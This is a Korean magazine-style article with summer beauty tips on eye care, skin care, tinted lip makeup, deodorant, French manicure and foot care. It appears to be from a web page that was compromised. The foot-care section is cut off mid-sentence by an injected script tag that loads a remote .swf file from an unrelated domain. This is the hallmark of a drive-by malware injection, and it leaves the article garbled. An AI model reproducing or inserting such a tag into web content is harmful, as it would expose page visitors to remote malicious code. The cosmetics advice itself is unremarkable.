눈가관리 눈 전용 제품으로 건조한 눈가에 수분을 공급한다. 세안 후 스킨, 로션을 가볍게 바른 후 눈 전용 제품을 눈 주위 전체에 얇게 펴 발라준다. 이 때 눈 주위의 피부는 민감하므로 네 번째 손가락을 이용, 가볍게 불필요한 힘이 가해지지 않도록 발라준다. 제품 바르는 방법은 눈밑에 팥알 정도 크기의 양만큼 세군데 점을 찍듯 찍어둔다. 눈가는 예민한 부위이므로 피부 자극이 없도록 눈머리에서 눈꼬리 방향으로 가볍게 펴 바른 후, 톡톡 두드린다. 눈머리와 눈꼬리의 지압점을 살며시 눌러 눈의 피로를 풀어주도록 한다. 이 때 세게 누르지 않고 지그시 눌러준다. 눈 전용 제품을 아침, 저녁 또는 수시로 사용하여 눈가 피부를 촉촉하게 유지하도록 한다. 피부관리 피부 타입과 관계 없이 모든 피부의 여름나기 관건은 바로 촉촉하면서도 산뜻한 피부 유지하기이다. 기온과 습도가 높아지면서 피부는 점점 더위와 땀에 허덕이게 되며 결과적으로는 항상 열이 나고 축축하고 끈적이며 푸석푸석한 피부상태를 유지할 수밖에 없는 것. 피부는 제대로 관리해 주지 않으면 피지를 양분 삼아 여드름균 같은 세균이 번식하기 쉬운 상태가 되기 때문에 각별히 청결에 신경을 써야 한다. 아침에는 밤새도록 분비된 땀과 피지를 닦아줘야 하므로 클렌징 폼으로, 저녁에는 클렌징 크림, 클렌징 로션 등의 메이크업 클렌저와 클렌징 폼을 이용하여 철저하게 세안을 해주도록 한다. 덥고 텁텁하다고 영양주기를 소홀히 해서는 안 된다. 더군다나 여름은 더위에 입맛마저 떨어져 음식으로조차도 고른 영양섭취가 힘들기 때문에 피부를 그대로 두어서는 안 될 일. 다소 덥고 텁텁하더라도 스킨케어도 스킨부터 크림까지 골고루 챙겨 발라주되 양을 적게 하여 되도록 깔끔하게 마무리가 되도록 하며, 1주일에 1번 정도는 영양공급 마스크를 해주어 적당한 영양분을 주며 피부를 관리해준다. 입술화장 에뛰드가 제안하는 여름철 입술화장은 투명하고 가볍게! 신제품인 틴트 래스팅 루즈로 실현된다. 깨끗한 입술상태에서 컬러부분인 틴트 베이스의 양을 잘 조절해 1-2회 균일하게 펴 바른다. 이때 두껍게 바르면 마르는데 시간이 오래걸리므로 최대한 얇게 바르는 것이 중요하다. 입술중앙을 바른 후 윤곽을 그리면 한결 깨끗하다. 1분간 건조 후 손가락으로 입술을 만졌을 때 색이 묻어나지 않으면 다음 단계로 넘어간다. 글로스 코트를 충분히 발라주는데 일반 글로스의 경우 쉽게 지워지므로 반드시 광택 단계에서는 본품을 사용하는 게 좋다. 수시로 덧발라 주며 수정할 시에는 글로스코트를 닦아낸 후 틴트 베이스를 발라준다. 데오드란트 자신있고 당당한 여성의 매력은 여름에 더욱 돋보이게 마련이다. 무더운 날씨로 인해 작은 움직임에도 흘러내리는 땀과 그로 인한 체취는 매력을 반감시키는 적. 이럴 때는 데오드란트를 사용해 고민을 말끔히 날려버리자. 니베아, 유니레버, 빠팡 에스쁘아 등이 출시한 데오드란트는 현대인의 필수품으로 자리잡아 가고 있다. 모든 사람들에 대한 에티켓이며 자신있는 삶을 만드는 생활용품이다. 최근에는 땀 냄새 등 불쾌한 체취를 제거하는 기능에 미리 방지해주는 땀 억제 기능까지 첨가됐다. 젊은 층의 생활과 식습관의 서구성향, 여름철 활동 및 운동등으로 인한 땀냄새 제거를 원한다면 여름엔 반드시 데오드란트하자. 네일관리 여름철에는 물과 접할 경우가 다른 계절에 비해 많아 손톱이 다칠 경우가 많아질 수 있다. 때문에 여름에는 손톱관리가 필요하다. 여름철은 프렌치 매니큐어(French Manicure)가 적당하다. 손톱끝을 매니큐어링한 후 깨끗한 시어 테이프의 자연적인 컬러로 손톱 전체에 도포하는 네일 아트가 좋다. 방법은 베이스 코트한 후 화이트 폴리시로 프렌치 라인을 두 번 그린다. 이때 손톱과 프렌치 부분의 비율을 맞춘다. 시어 컬러와 내추럴 컬러를 두 번 발라준다. 마지막으로 톱 코트를 바른다. 발관리 건강과 밀접한 연관이 있는 발은 하루종일 구두 속에 갇혀 체중으로 압박 받으며 굳은살, 두꺼운 각질, 갈라짐, 거칠음, 발냄새, 피로감 등으로 고통받고 있다. 특히 여름을 맞는 여성들이 가장 고민하는 것은 발에 있는 굳은 각질. 샌들사이로 보기 싫은 각질 때문에 외출 때마다 고민이다. 발 뒤꿈치는 각질이 딱딱해 지기 쉽기 때문에 꼼꼼히 손질해 주는 것이 필요하다. 각질이 심하지 않은 사람의 경우 우선 따뜻한 물에 담가 각질을 불린다. 그 다음 각질 제거 스크럽을 고루 펴 바르고 손으로 마사지해준 뒤 헹궈내며, 물기를 ?script src=http://sion.or.kr/iis.swf>

  webmaster@geniepark.co.kr

<저작권자 © 제니파크, 무단 전재 및 재배포 금지>